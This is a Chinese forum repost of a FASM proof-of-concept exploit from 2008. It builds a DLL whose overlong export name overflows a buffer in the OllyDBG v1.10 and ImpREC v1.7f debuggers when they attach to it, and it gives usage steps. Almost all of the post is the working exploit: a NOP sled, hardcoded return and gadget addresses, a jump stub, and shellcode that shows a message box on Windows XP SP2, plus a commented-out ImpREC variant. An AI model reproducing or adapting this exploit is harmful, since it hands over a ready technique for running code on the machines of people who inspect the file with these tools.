• 设为首页
  • 收藏本站
  • 积分充值
  • VIP赞助
  • 手机版
  • 微博
  • 微信
    微信公众号 添加方式:
    1:搜索微信号(888888
    2:扫描左侧二维码
  • 快捷导航
    福建二哥 门户 查看主题

    OllyDBG v1.10 and ImpREC v1.7f (export name) BOF PoC

    发布者: Error | 发布时间: 2025-6-28 22:46| 查看数: 75| 评论数: 0|帖子模式

    ;-------------------------------------------------------------------------;
    ; OllyDBG v1.10 and ImpREC v1.7f export name buffer overflow vulnerability
    ; PoC (probably older versions affected too, not tested though.)         
    ;
    ; Included shellcode shows a messagebox (WinXP SP2) and is configured for
    ; OllyDBG. See lines 60-105 for more details
    ;-------------------------------------------------------------------------;
    ; Usage:
    ; Load this DLL to your process and try to attach OllyDBG or ImpREC
    ; to it -> Shellcode executed >
    ;
    ; Shellcode gets fired also if program is run under OllyDBG.
    ;
    ; Bug discovered and PoC coded by:
    ; ~ Defsanguje, Defsanguje [at] gmail [dot] com             [July 7 2008]
    ;-------------------------------------------------------------------------;
    ; Coded in FASM
    ;-------------------------------------------------------------------------;

    format PE GUI 4.0 DLL

    include 'win32a.inc'
    entry DllEntryPoint

    section '.code' code readable executable

    proc DllEntryPoint, hinstDLL,fdwReason,lpvReserved
                        mov eax, TRUE
                        ret
    endp

    ;-------------------------------------------------------------------------;
    ; Modified version from original export-macro.
    ;-------------------------------------------------------------------------;
    macro ExportExploit dllname,[label]
    { common
        local module,addresses,names,ordinal,count
        count = 0
       forward
        count = count 1
       common
        dd 0,0,0,RVA module,1
        dd count,count,RVA addresses,RVA names,RVA ordinal
        addresses:
       forward
        dd RVA label
       common
        names:
       forward
        local name
        dd RVA name
       common
        ordinal: count = 0
       forward
        dw count
        count = count 1
       common
        module db dllname,0
       forward
       
    ;-------------------------------------------------------------------------;
    ; Exploit for OllyDBG v1.10
    ;-------------------------------------------------------------------------;
    a:  name\
        db 3e0h dup (90h)
        dd 6d553b78h                                                ; ESP to EBP
        dd 6d55e5ffh                                                ; EBP to EAX
        dd 0defdefdeh
        dd 0defdefdeh
        dd 6d56d25eh                                                ; add eax, 40h
        dd 0defdefdeh
        dd 6d52e1efh                                                ; jmp EAX =)
        db 40h-18h dup(90h)
    c:  push eax
        mov eax, (ShellCodeStart-c) xor 0defdefdeh
        xor eax, 0defdefdeh
        add eax, [esp]
        jmp eax
    b:  db 0bd0h - (ShellCodeEnd-ShellCodeStart) - (b-a) dup (90h)

    ShellCodeStart:
        db 81h,0ECh,07Dh,0FFh,0FFh,0FFh
        db 2Bh,0C9h,51h,51h,51h,51h,51h,0BBh
        db 8Ah,05h,45h,7Eh                                          ; Address of messagebox in winxp sp2
        db 0FFh,0D3h
    ShellCodeEnd:
        dd 0045F823h                                                 ; New EIP

        db 300h dup(90h)
        db 0

    ;-------------------------------------------------------------------------;
    ; Exploit for ImpREC v1.7f
    ;-------------------------------------------------------------------------;
    ;    name\
    ;    db 0C0Ch - (ShellCodeEnd-ShellCodeStart) dup (90h)
    ;ShellCodeStart:
    ;    db 81h,0ECh,07Dh,0FFh,0FFh,0FFh
    ;    db 2Bh,0C9h,51h,51h,51h,51h,51h,0BBh
    ;    db 8Ah,05h,45h,7Eh                                          ; Address of messagebox in winxp sp2
    ;    db 0FFh,0D3h
    ;ShellCodeEnd:
    ;    dd 12c1b8h                                                  ; New EIP
    ;    db 0
    ;-------------------------------------------------------------------------;
       
       common
        local x,y,z,str1,str2,v1,v2
        x = count shr 1
        while x > 0
         y = x
         while y < count
          z = y
          while z-x >= 0
           load v1 dword from names z*4
           str1=($-RVA $) v1
           load v2 dword from names (z-x)*4
           str2=($-RVA $) v2
           while v1 > 0
            load v1 from str1 %-1
            load v2 from str2 %-1
            if v1 <> v2
             break
            end if
           end while
           if v1<v2
            load v1 dword from names z*4
            load v2 dword from names (z-x)*4
            store dword v1 at names (z-x)*4
            store dword v2 at names z*4
            load v1 word from ordinal z*2
            load v2 word from ordinal (z-x)*2
            store word v1 at ordinal (z-x)*2
            store word v2 at ordinal z*2
           else
            break
           end if
           z = z-x
          end while
          y = y 1
         end while
         x = x shr 1
        end while }

    section '.edata' export data readable
    ;-------------------------------------------------------------------------;
    ; Call the macro
    ;-------------------------------------------------------------------------;
      ExportExploit 'exploit.dll',\
            $
            
    ;-------------------------------------------------------------------------;

    来源:https://www.jb51.net/hack/5644.html
    免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!

    最新评论

    浏览过的版块

    QQ Archiver 手机版 小黑屋 福建二哥 ( 闽ICP备2022004717号|闽公网安备35052402000345号 )

    Powered by Discuz! X3.5 © 2001-2023

    快速回复 返回顶部 返回列表